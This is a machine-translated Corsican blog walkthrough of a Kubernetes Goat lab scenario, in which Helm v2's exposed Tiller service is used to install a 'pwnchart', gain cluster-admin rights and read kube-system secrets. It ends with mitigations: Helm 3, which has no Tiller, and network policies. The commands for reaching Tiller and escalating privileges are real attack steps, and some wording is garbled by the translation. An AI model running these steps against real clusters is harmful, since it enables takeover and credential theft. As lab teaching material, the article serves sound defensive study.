Rompe un cluster Kubernetes utilizendu Helm v2 tiller

Rompe un cluster Kubernetes utilizendu Helm v2 tiller

Helm hè un gestore di pacchetti per Kubernetes, qualcosa di simile apt-get di UbuntuIn questu articulu, daremu un'ochjata à a versione precedente di helm (v2) cÚ u serviziu tiller installatu per difettu, attraversu u quale accederemu à u cluster.

Preparamu u cluster per fĂ  questu, eseguite u cumandamentu:

kubectl run --rm --restart=Never -it --image=madhuakula/k8s-goat-helm-tiller -- bash

Rompe un cluster Kubernetes utilizendu Helm v2 tiller

Dimostrazione

  • Se Ăšn cunfigurate nunda di piĂš, helm v2 principia u serviziu tiller, chĂŹ hĂ  RBAC cĂš diritti di amministratore di cluster cumpletu.
  • Dopu a stallazione in namespace kube-system appare tiller-deploy, è apre ancu u portu 44134, ligatu Ă  0.0.0.0. Questu pò esse verificatu cĂš telnet.

$ telnet tiller-deploy.kube-system 44134

Rompe un cluster Kubernetes utilizendu Helm v2 tiller

  • AvĂ  vi ponu cunnette vi Ă  u serviziu tiller. Useremu u binariu di timone per fĂ  operazioni quandu cumunicĂ  cĂš u serviziu di tiller:

$ helm --host tiller-deploy.kube-system:44134 version

Rompe un cluster Kubernetes utilizendu Helm v2 tiller

  • Pruvemu di ottene i secreti di u cluster Kubernetes da u spaziu di nomi kube-system:

$ kubectl get secrets -n kube-system

Rompe un cluster Kubernetes utilizendu Helm v2 tiller

  • AvĂ  pudemu creĂ  a nostra propria carta, in quale creeremu un rolu cĂš diritti di amministratore è assignĂ  stu rolu Ă  u contu di serviziu predeterminatu. Utilizendu u token da stu contu di serviziu, avemu ricevutu un accessu cumpletu Ă  u nostru cluster.

$ helm --host tiller-deploy.kube-system:44134 install /pwnchart

Rompe un cluster Kubernetes utilizendu Helm v2 tiller

  • AvĂ  quandu pwnchart implementatu, u contu di serviziu predeterminatu hĂ  accessu amministrativu cumpletu. Cuntrollemu di novu cumu uttene sicreti da kube-system

kubectl get secrets -n kube-system

Rompe un cluster Kubernetes utilizendu Helm v2 tiller

L'esekzione riescita di stu script dipende da cume tiller hè statu implementatu à volte l'amministratori implementanu in un spaziu di nome separatu cÚ privilegi differenti. Helm 3 Ún hè micca suscettibile à tali vulnerabilità perchè ... Ún ci hè micca tiller in questu.

Nota di u traduttore: L'usu di e pulitiche di rete per filtrĂ  u trafficu in un cluster aiuta Ă  prutezzione di stu tipu di vulnerabilitĂ .

Source: www.habr.com

Cumprate un hosting affidabile per i siti cù prutezzione DDoS, servitori VPS VDS 🔥 Cumprate un hosting di siti web affidabile cù prutezzione DDoS, servitori VPS VDS | ProHoster